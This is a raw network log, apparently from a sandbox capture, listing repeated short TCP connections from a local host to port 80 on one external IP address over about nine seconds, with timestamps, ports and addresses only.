Feb 8, 2023 21:31:44.374243975 CET	49801	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:44.375917912 CET	80	49802	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:44.376044035 CET	49802	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:44.378401995 CET	49802	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:44.440043926 CET	80	49802	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:44.442873955 CET	80	49802	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:44.443041086 CET	49802	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:44.558199883 CET	49802	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:44.559359074 CET	49803	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:44.619822025 CET	80	49803	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:44.619898081 CET	80	49802	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:44.620009899 CET	49802	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:44.620122910 CET	49803	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:44.620667934 CET	49803	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:44.681066990 CET	80	49803	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:44.683964014 CET	80	49803	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:44.685827017 CET	49803	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:44.793194056 CET	49803	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:44.794466019 CET	49804	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:44.853729963 CET	80	49803	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:44.855204105 CET	80	49804	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:44.855375051 CET	49803	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:44.855417967 CET	49804	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:44.855990887 CET	49804	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:44.916769981 CET	80	49804	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:44.919894934 CET	80	49804	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:44.921879053 CET	49804	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:45.026963949 CET	49804	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:45.029293060 CET	49805	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:45.088027954 CET	80	49804	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:45.088624954 CET	80	49805	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:45.088835955 CET	49804	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:45.088848114 CET	49805	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:45.092452049 CET	49805	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:45.151937962 CET	80	49805	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:45.155440092 CET	80	49805	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:45.157864094 CET	49805	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:45.262415886 CET	49805	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:45.263427019 CET	49806	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:45.321820974 CET	80	49805	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:45.325889111 CET	49805	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:45.325947046 CET	80	49806	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:45.330883980 CET	49806	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:45.331321001 CET	49806	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:45.393759966 CET	80	49806	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:45.396585941 CET	80	49806	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:45.396872044 CET	49806	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:45.518065929 CET	49806	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:45.520127058 CET	49807	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:45.580774069 CET	80	49806	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:45.580977917 CET	49806	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:45.582658052 CET	80	49807	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:45.582937002 CET	49807	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:45.583488941 CET	49807	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:45.645904064 CET	80	49807	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:45.648488998 CET	80	49807	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:45.648655891 CET	49807	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:45.766613007 CET	49807	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:45.767405987 CET	49808	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:45.828073978 CET	80	49808	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:45.828270912 CET	49808	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:45.829431057 CET	80	49807	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:45.829547882 CET	49807	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:45.869321108 CET	49808	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:45.930051088 CET	80	49808	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:45.932929039 CET	80	49808	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:45.933114052 CET	49808	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:46.044405937 CET	49808	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:46.045351982 CET	49809	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:46.105271101 CET	80	49808	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:46.105519056 CET	49808	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:46.105797052 CET	80	49809	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:46.105941057 CET	49809	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:46.106372118 CET	49809	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:46.167391062 CET	80	49809	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:46.171797991 CET	80	49809	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:46.171886921 CET	49809	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:46.276895046 CET	49809	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:46.277558088 CET	49810	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:46.337857962 CET	80	49809	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:46.338128090 CET	49809	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:46.340810061 CET	80	49810	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:46.341097116 CET	49810	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:46.341948986 CET	49810	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:46.404393911 CET	80	49810	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:46.407923937 CET	80	49810	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:46.408149004 CET	49810	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:46.514589071 CET	49810	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:46.515379906 CET	49811	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:46.575856924 CET	80	49811	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:46.576085091 CET	49811	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:46.576529026 CET	49811	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:46.577589989 CET	80	49810	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:46.577718973 CET	49810	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:46.636848927 CET	80	49811	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:46.639722109 CET	80	49811	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:46.640002012 CET	49811	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:46.745589018 CET	49811	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:46.747276068 CET	49812	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:46.806221962 CET	80	49811	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:46.806432962 CET	49811	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:46.806978941 CET	80	49812	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:46.807230949 CET	49812	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:46.808504105 CET	49812	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:46.868165016 CET	80	49812	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:46.870836020 CET	80	49812	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:46.871114016 CET	49812	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:46.984586954 CET	49812	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:46.985655069 CET	49813	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:47.044342041 CET	80	49812	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:47.044523954 CET	49812	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:47.047084093 CET	80	49813	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:47.047442913 CET	49813	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:47.049280882 CET	49813	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:47.110668898 CET	80	49813	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:47.115288973 CET	80	49813	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:47.115447044 CET	49813	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:47.233102083 CET	49813	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:47.235451937 CET	49814	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:47.294759989 CET	80	49813	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:47.294851065 CET	49813	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:47.294853926 CET	80	49814	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:47.294956923 CET	49814	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:47.295499086 CET	49814	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:47.354971886 CET	80	49814	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:47.357366085 CET	80	49814	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:47.357511997 CET	49814	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:47.465553045 CET	49814	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:47.466562033 CET	49815	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:47.525278091 CET	80	49814	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:47.525425911 CET	49814	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:47.528341055 CET	80	49815	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:47.530201912 CET	49815	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:47.530708075 CET	49815	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:47.592360020 CET	80	49815	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:47.595089912 CET	80	49815	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:47.598069906 CET	49815	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:47.721710920 CET	49815	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:47.722666025 CET	49816	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:47.782352924 CET	80	49816	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:47.782486916 CET	49816	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:47.783509970 CET	80	49815	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:47.785160065 CET	49816	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:47.785208941 CET	49815	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:47.844799042 CET	80	49816	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:47.847796917 CET	80	49816	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:47.847984076 CET	49816	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:47.975464106 CET	49816	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:47.976186991 CET	49817	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:48.035310030 CET	80	49816	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:48.035437107 CET	49816	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:48.038547993 CET	80	49817	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:48.039405107 CET	49817	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:48.055582047 CET	49817	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:48.118468046 CET	80	49817	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:48.123281002 CET	80	49817	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:48.126123905 CET	49817	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:48.277497053 CET	49817	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:48.278562069 CET	49818	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:48.340080976 CET	80	49818	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:48.340111971 CET	80	49817	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:48.340249062 CET	49817	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:48.340256929 CET	49818	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:48.341113091 CET	49818	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:48.402642012 CET	80	49818	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:48.404982090 CET	80	49818	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:48.405535936 CET	49818	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:48.512412071 CET	49818	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:48.513365030 CET	49819	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:48.574086905 CET	80	49818	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:48.574587107 CET	80	49819	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:48.574733019 CET	49818	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:48.574801922 CET	49819	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:48.579157114 CET	49819	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:48.640505075 CET	80	49819	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:48.643449068 CET	80	49819	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:48.643789053 CET	49819	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:48.745872974 CET	49819	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:48.746737003 CET	49820	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:48.807362080 CET	80	49819	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:48.807507038 CET	49819	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:48.809127092 CET	80	49820	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:48.810759068 CET	49820	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:48.811904907 CET	49820	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:48.874325991 CET	80	49820	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:48.877062082 CET	80	49820	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:48.877177000 CET	49820	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:48.981903076 CET	49820	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:48.982924938 CET	49821	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:49.044486046 CET	80	49820	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:49.044689894 CET	49820	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:49.045191050 CET	80	49821	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:49.045319080 CET	49821	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:49.045770884 CET	49821	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:49.108207941 CET	80	49821	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:49.112457037 CET	80	49821	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:49.114170074 CET	49821	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:49.231674910 CET	49821	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:49.232711077 CET	49822	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:49.294384956 CET	80	49822	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:49.294424057 CET	80	49821	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:49.294682026 CET	49822	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:49.294686079 CET	49821	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:49.295197010 CET	49822	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:49.356602907 CET	80	49822	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:49.359004021 CET	80	49822	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:49.362183094 CET	49822	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:49.480329990 CET	49822	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:49.482273102 CET	49823	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:49.542196035 CET	80	49822	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:49.542309999 CET	49822	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:49.543044090 CET	80	49823	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:49.543144941 CET	49823	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:49.543781996 CET	49823	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:49.604381084 CET	80	49823	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:49.606847048 CET	80	49823	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:49.607016087 CET	49823	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:49.717586040 CET	49823	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:49.718940020 CET	49824	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:49.778767109 CET	80	49824	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:49.778814077 CET	80	49823	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:49.778965950 CET	49823	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:49.779416084 CET	49824	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:49.780553102 CET	49824	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:49.840172052 CET	80	49824	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:49.842638969 CET	80	49824	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:49.842885017 CET	49824	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:49.949151993 CET	49824	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:49.949836969 CET	49825	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:50.009042025 CET	80	49824	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:50.009171963 CET	49824	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:50.011256933 CET	80	49825	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:50.011426926 CET	49825	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:50.017874002 CET	49825	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:50.082969904 CET	80	49825	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:50.084322929 CET	80	49825	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:50.085304976 CET	49825	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:50.226629019 CET	49825	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:50.227602005 CET	49826	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:50.288260937 CET	80	49825	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:50.288492918 CET	49825	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:50.290049076 CET	80	49826	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:50.290237904 CET	49826	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:50.292454958 CET	49826	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:50.355022907 CET	80	49826	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:50.359834909 CET	80	49826	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:50.360016108 CET	49826	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:50.464802027 CET	49826	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:50.465765953 CET	49827	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:50.526647091 CET	80	49827	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:50.526931047 CET	49827	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:50.527571917 CET	80	49826	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:50.527731895 CET	49826	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:50.529166937 CET	49827	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:50.589684963 CET	80	49827	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:50.592324972 CET	80	49827	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:50.592420101 CET	49827	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:50.718924046 CET	49827	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:50.719763994 CET	49828	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:50.779769897 CET	80	49827	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:50.779980898 CET	49827	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:50.782411098 CET	80	49828	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:50.782535076 CET	49828	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:50.782978058 CET	49828	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:50.845729113 CET	80	49828	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:50.848160982 CET	80	49828	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:50.848267078 CET	49828	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:50.965807915 CET	49828	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:50.966536045 CET	49829	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:51.026750088 CET	80	49829	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:51.026921988 CET	49829	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:51.027291059 CET	49829	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:51.028260946 CET	80	49828	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:51.028363943 CET	49828	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:51.087445974 CET	80	49829	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:51.091653109 CET	80	49829	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:51.091778994 CET	49829	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:51.203752995 CET	49829	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:51.204725027 CET	49830	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:51.264157057 CET	80	49829	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:51.264271975 CET	49829	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:51.264832020 CET	80	49830	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:51.264930010 CET	49830	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:51.265355110 CET	49830	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:51.326046944 CET	80	49830	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:51.328028917 CET	80	49830	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:51.328156948 CET	49830	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:51.433984041 CET	49830	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:51.434868097 CET	49831	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:51.494563103 CET	80	49830	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:51.494621038 CET	80	49831	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:51.494796991 CET	49830	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:51.494898081 CET	49831	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:51.495547056 CET	49831	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:51.555213928 CET	80	49831	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:51.557868004 CET	80	49831	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:51.558514118 CET	49831	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:51.670639038 CET	49831	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:51.686386108 CET	49832	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:51.730647087 CET	80	49831	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:51.731678009 CET	49831	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:51.747085094 CET	80	49832	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:51.750828028 CET	49832	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:51.751305103 CET	49832	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:51.811929941 CET	80	49832	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:51.814352036 CET	80	49832	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:51.816127062 CET	49832	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:51.918494940 CET	49832	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:51.920368910 CET	49833	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:51.979443073 CET	80	49832	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:51.979546070 CET	49832	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:51.983022928 CET	80	49833	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:51.983140945 CET	49833	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:51.983787060 CET	49833	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:52.046258926 CET	80	49833	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:52.050180912 CET	80	49833	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:52.050447941 CET	49833	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:52.514743090 CET	49833	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:52.515491009 CET	49834	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:52.575949907 CET	80	49834	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:52.576152086 CET	49834	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:52.577302933 CET	80	49833	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:52.577364922 CET	49834	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:52.577393055 CET	49833	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:52.637797117 CET	80	49834	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:52.640379906 CET	80	49834	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:52.640542984 CET	49834	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:52.762016058 CET	49834	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:52.762955904 CET	49835	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:52.822683096 CET	80	49834	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:52.823103905 CET	49834	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:52.827110052 CET	80	49835	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:52.827305079 CET	49835	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:52.859570980 CET	49835	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:52.920141935 CET	80	49835	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:52.922553062 CET	80	49835	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:52.922723055 CET	49835	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:53.093556881 CET	49835	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:53.095025063 CET	49836	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:53.154278994 CET	80	49835	62.204.41.4	192.168.2.3
